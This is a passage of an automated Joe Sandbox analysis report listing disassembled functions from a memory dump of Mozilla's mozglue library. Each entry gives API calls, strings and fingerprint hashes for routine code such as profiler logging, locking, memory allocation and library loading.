Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: e3d75f326abdc3f351b9f182219ef1e3eb37cf2b2dfa7b64bdf45a5e463f0538
Instruction ID: 16044f1c983fe944f0590a2bfc12d055462def80e60b37e3b5de73e40c360388
Opcode Fuzzy Hash: e3d75f326abdc3f351b9f182219ef1e3eb37cf2b2dfa7b64bdf45a5e463f0538
Instruction Fuzzy Hash: 00D1BE75A083448BD734DF29CA41B9AB7E5AFCA308F104D2DE59987B51DB30E909CB52

Function 6C8ECA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6C8ECA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8ECA69
Sleep.KERNEL32 ref: 6C8ECADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8ECAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8ECAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C8ECB19

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: 2c540d3a7e176703da8cd67b4d80814a1dfe1995597463ecde3a7ce8d6b4425d
Instruction ID: 20c9f8350e6db840d0ea68ecc6481e2a0097ac3d7a0bc59f214f395e23b468b8
Opcode Fuzzy Hash: 2c540d3a7e176703da8cd67b4d80814a1dfe1995597463ecde3a7ce8d6b4425d
Instruction Fuzzy Hash: A9213A71F087488BC719AF38994116FFBB9FFC6345F408A38E846A7A41EF7095898781

Function 6C8FC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C8FC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C8FC842

Part of subcall function 6C8FCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C91B5EB,00000000), ref: 6C8FCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C8FC863
std::_Facet_Register.LIBCPMT ref: 6C8FC875

Part of subcall function 6C8DB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C91B636,?), ref: 6C8DB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C8FC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8FC8BC

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 62228db63ea868edcf9f49f1ac457a9abfb8ee34d050ecc426d8882ff32018a2
Instruction ID: 6073d67aae5e0848a6d0da1030ecd5e44cb741bcd622e798b91291da4e430057
Opcode Fuzzy Hash: 62228db63ea868edcf9f49f1ac457a9abfb8ee34d050ecc426d8882ff32018a2
Instruction Fuzzy Hash: 5311B6B1B042099BCF10DFA4C9848EE7BB4EF89394F240539E55797341DB34A919CB91

Function 6C8AEB90 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000104), ref: 6C8AEBB5

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C8DD7F3), ref: 6C8AEBC3
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C8DD7F3), ref: 6C8AEBD6
free.MOZGLUE(?,?,?,?,?,?,6C8DD7F3), ref: 6C8AEBF6
free.MOZGLUE(00000000,?,?,?,?,?,?,6C8DD7F3), ref: 6C8AEC0E

Part of subcall function 6C8C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8C5EDB
Part of subcall function 6C8C5E90: memset.VCRUNTIME140(6C907765,000000E5,55CCCCCC), ref: 6C8C5F27
Part of subcall function 6C8C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8C5FB2

GetLastError.KERNEL32(?,?,?,?,?,?,6C8DD7F3), ref: 6C8AEC1A

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSectionfreememset$EnterErrorFileLastLeaveModuleNamemallocmoz_xmalloc
String ID:
API String ID: 2948488910-0
Opcode ID: 53b1dc00f65d592ee57b11f262d8025e0633134c6b7566616aeca042fde9f718
Instruction ID: 052de298fe1329ade4bbb561cde81f670a3690b7f3e6d7945edf260a21d23a04
Opcode Fuzzy Hash: 53b1dc00f65d592ee57b11f262d8025e0633134c6b7566616aeca042fde9f718
Instruction Fuzzy Hash: B111E9B1A042546BEB209BA89E487AF7AB89B02758F140C34E855E7780E3B5D81587E2

Function 6C8DD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C8AEB57,?,?,?,?,?,?,?,?,?), ref: 6C8DD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C8AEB57,?), ref: 6C8DD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C8AEB57,?), ref: 6C8DD673
free.MOZGLUE(?), ref: 6C8DD888

Strings

|Enabled, xrefs: 6C8DD81E

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 6ee3dc5b97cdcb3dd4297955c09cea71289dbe241d91420fae09fc385aa659b7
Instruction ID: f55cb38aceab232cdaca2afad2030609db2f69310408c47e907f98202d4e3feb
Opcode Fuzzy Hash: 6ee3dc5b97cdcb3dd4297955c09cea71289dbe241d91420fae09fc385aa659b7
Instruction Fuzzy Hash: 45A11570A043189FDB21CF68C5C07AEBBF1AF49318F15886DD8896B741C734A845CBA1

Function 6C8F0180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C8F0270
GetCurrentThreadId.KERNEL32 ref: 6C8F02E9
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8F02F6
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8F033A

Strings

about:blank, xrefs: 6C8F020F

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 71e632deaca63243ad8c92ed9697e9197dc2637fc8c945634e9b0f0635a4ea8f
Instruction ID: a9528b43995d0684afb6180084d6e5d524ea39db2d9baafb4cd72701c598e2db
Opcode Fuzzy Hash: 71e632deaca63243ad8c92ed9697e9197dc2637fc8c945634e9b0f0635a4ea8f
Instruction Fuzzy Hash: 4751C370A04219CFCB10DF58C580A9EB7F1FF49358F644929C86AA7B01D731F946CBA1

Function 6C8EE100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EE12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6C8EE084,00000000), ref: 6C8EE137

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6C8EE196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6C8EE1E9

Part of subcall function 6C8E99A0: GetCurrentThreadId.KERNEL32 ref: 6C8E99C1
Part of subcall function 6C8E99A0: AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8E99CE
Part of subcall function 6C8E99A0: ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8E99F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6C8EE13F

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 22f9d071cce4fa48558ea54e6e874ce56eaed0e0198ea6baacdafc90fa925c09
Instruction ID: 77b2ca6349303bef5ec4fdceb779416821f3727d76d23f4d633a8b1ceb37344c
Opcode Fuzzy Hash: 22f9d071cce4fa48558ea54e6e874ce56eaed0e0198ea6baacdafc90fa925c09
Instruction Fuzzy Hash: 403126B16087049FD3109F6C86413AAF7E5AFCA60CF108D2DE8994BF41DB70D909C792

Function 6C8DF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C8DF480

Part of subcall function 6C8AF100: LoadLibraryW.KERNEL32(shell32,?,6C91D020), ref: 6C8AF122
Part of subcall function 6C8AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C8AF132

CloseHandle.KERNEL32(00000000), ref: 6C8DF555

Part of subcall function 6C8B14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C8B1248,6C8B1248,?), ref: 6C8B14C9
Part of subcall function 6C8B14B0: memcpy.VCRUNTIME140(?,6C8B1248,00000000,?,6C8B1248,?), ref: 6C8B14EF

Part of subcall function 6C8AEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C8AEEE3

CreateFileW.KERNEL32 ref: 6C8DF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C8DF523

Strings

\oleacc.dll, xrefs: 6C8DF4CB

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: de54bfca9a1a57340ecc6437a671fbd8ab8b2b0f200ac028ac5aa41739f59cfe
Instruction ID: cfe87bf83e9dc6f6a39e7723ff8ad9eb631a849ae6c07965dbe1bb4289fde472
Opcode Fuzzy Hash: de54bfca9a1a57340ecc6437a671fbd8ab8b2b0f200ac028ac5aa41739f59cfe
Instruction Fuzzy Hash: 7F41A0306287509FE730DF68CA84A9BB7F4AF95318F100E2CF59197650EB34E949CB92

Function 6C8E0210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8E0222
moz_xmalloc.MOZGLUE(0000000C), ref: 6C8E0231

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8E028B
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6C8E02F7

Strings

@, xrefs: 6C8E02D8

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: 5851e23fdd7fad64cdd270203c7d40bf7a8b9238176a9d90bb393563a7765e2a
Instruction ID: 635db0224b2c7bf4dcc14f5eccd1d56265cfef3d5f9b6be536688caf8203c609
Opcode Fuzzy Hash: 5851e23fdd7fad64cdd270203c7d40bf7a8b9238176a9d90bb393563a7765e2a
Instruction Fuzzy Hash: 20319FB1A006508FEB64CF58CA80656B7F1EF4A314B248D2DD95AEBB41DB71EC01DB91

Function 6C8EE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EE04F

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8EE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8EE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C8EE057

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: dde68d06a4c3a928f5d67007e5421a80468d02b6f7cb5b1f3e5fae91abcadd48
Instruction ID: 096f3e7cb01d15c722e587d5d881f30b97a2bbae9e65b1621720066d400f5a3c
Opcode Fuzzy Hash: dde68d06a4c3a928f5d67007e5421a80468d02b6f7cb5b1f3e5fae91abcadd48
Instruction Fuzzy Hash: DD21A474B001189FDF14DF68D958AEEB7B5BF8A208F244828ED4A97740DB35E909C7E1

Function 6C9074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C907526
__Init_thread_footer.LIBCMT ref: 6C907566
__Init_thread_footer.LIBCMT ref: 6C907597

Strings

kernel32.dll, xrefs: 6C907557
UnmapViewOfFile2, xrefs: 6C907552

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 6dfbefd2ab7e1575c82685e0610923b67569fa573e1f1d9bd755976b02123950
Instruction ID: 8da007f8e596d502411a9b26d776c7a095ebf85582d33937bf51d5fc6013ef5e
Opcode Fuzzy Hash: 6dfbefd2ab7e1575c82685e0610923b67569fa573e1f1d9bd755976b02123950
Instruction Fuzzy Hash: D5212231715510ABCF248FA88944E89337EEB87B39B21053CE88687B40C739E8068B92

Function 6C90AB90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SearchPathW.KERNEL32(?,6C8CBFBD,.dll,00000000,00000000,00000000,6C8CBFBD), ref: 6C90ABBD
moz_xmalloc.MOZGLUE(00000001), ref: 6C90ABD8

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C90ABEB
SearchPathW.KERNEL32(?,?,.dll,00000001,?,00000000), ref: 6C90AC03

Strings

.dll, xrefs: 6C90ABB4, 6C90ABFA

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: PathSearch$mallocmemsetmoz_xmalloc
String ID: .dll
API String ID: 3063185715-2738580789
Opcode ID: 8d675dc7d114a0771b432a76afc4872023cf01b0146d005c6550d47ef1aeebbf
Instruction ID: 5c3e79c6bd14fa3df77a201752fdfbd6f9ac12a60036d99f8468dd116bfcc51d
Opcode Fuzzy Hash: 8d675dc7d114a0771b432a76afc4872023cf01b0146d005c6550d47ef1aeebbf
Instruction Fuzzy Hash: 8901F5B2A0411A6FEB115E748C45ABFBABDEF96350F110435FD05E3600E675DC544BE1

Function 6C90A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92F770,-00000001,?,6C91E330,?,6C8CBDF7), ref: 6C90A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C8CBDF7), ref: 6C90A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C8CBDF7), ref: 6C90A7E4
LeaveCriticalSection.KERNEL32(6C92F770), ref: 6C90A80A

Strings

accelerator.dll, xrefs: 6C90A7BF

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 4b859391b6684d0a7b89329ed0d225c059ef86dc099bc833995d75228dd234ed
Instruction ID: a842c4f61c954e55fc34036e18e985e887e566d00a05ee18b635da01723f8521
Opcode Fuzzy Hash: 4b859391b6684d0a7b89329ed0d225c059ef86dc099bc833995d75228dd234ed
Instruction Fuzzy Hash: 1F018FB07242149F9B04CF59D885D5177FCFB8AB19714806AE889CB702DB70D800CBE0

Function 6C8AF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C8AEE51,?), ref: 6C8AF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C8AF0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C8AF0DC
Could not find CoTaskMemFree, xrefs: 6C8AF0E3
ole32, xrefs: 6C8AF0AD

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 27314edc14458de35eadad68df3b1cd07645f2aa0b6e1df624449162604211ec
Instruction ID: 425809785b9d2b15b2fc7f5b252deb644c6a366ef935b0dc6c412b37ce50d2b4
Opcode Fuzzy Hash: 27314edc14458de35eadad68df3b1cd07645f2aa0b6e1df624449162604211ec
Instruction Fuzzy Hash: 58E0D8713692059B9F245AA39908A2637F9AB73109324482DF582C1E08EF2DD425CB51

Function 6C9073E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32.dll,?,?,6C8B434E), ref: 6C9073EB
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwarenessContext), ref: 6C907404
FreeLibrary.KERNEL32(?,?,6C8B434E), ref: 6C907413

Strings

user32.dll, xrefs: 6C9073E6
SetProcessDpiAwarenessContext, xrefs: 6C9073FE

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDpiAwarenessContext$user32.dll
API String ID: 145871493-397433131
Opcode ID: 912df59f4c196aa5f9a172c01c5f9496b07ad5a438f2bcc646a1c22962637e4c
Instruction ID: e4661ac89d47bd9b21ad89681b5de19ed2902bf6d12c632107d119cb2067c97c
Opcode Fuzzy Hash: 912df59f4c196aa5f9a172c01c5f9496b07ad5a438f2bcc646a1c22962637e4c
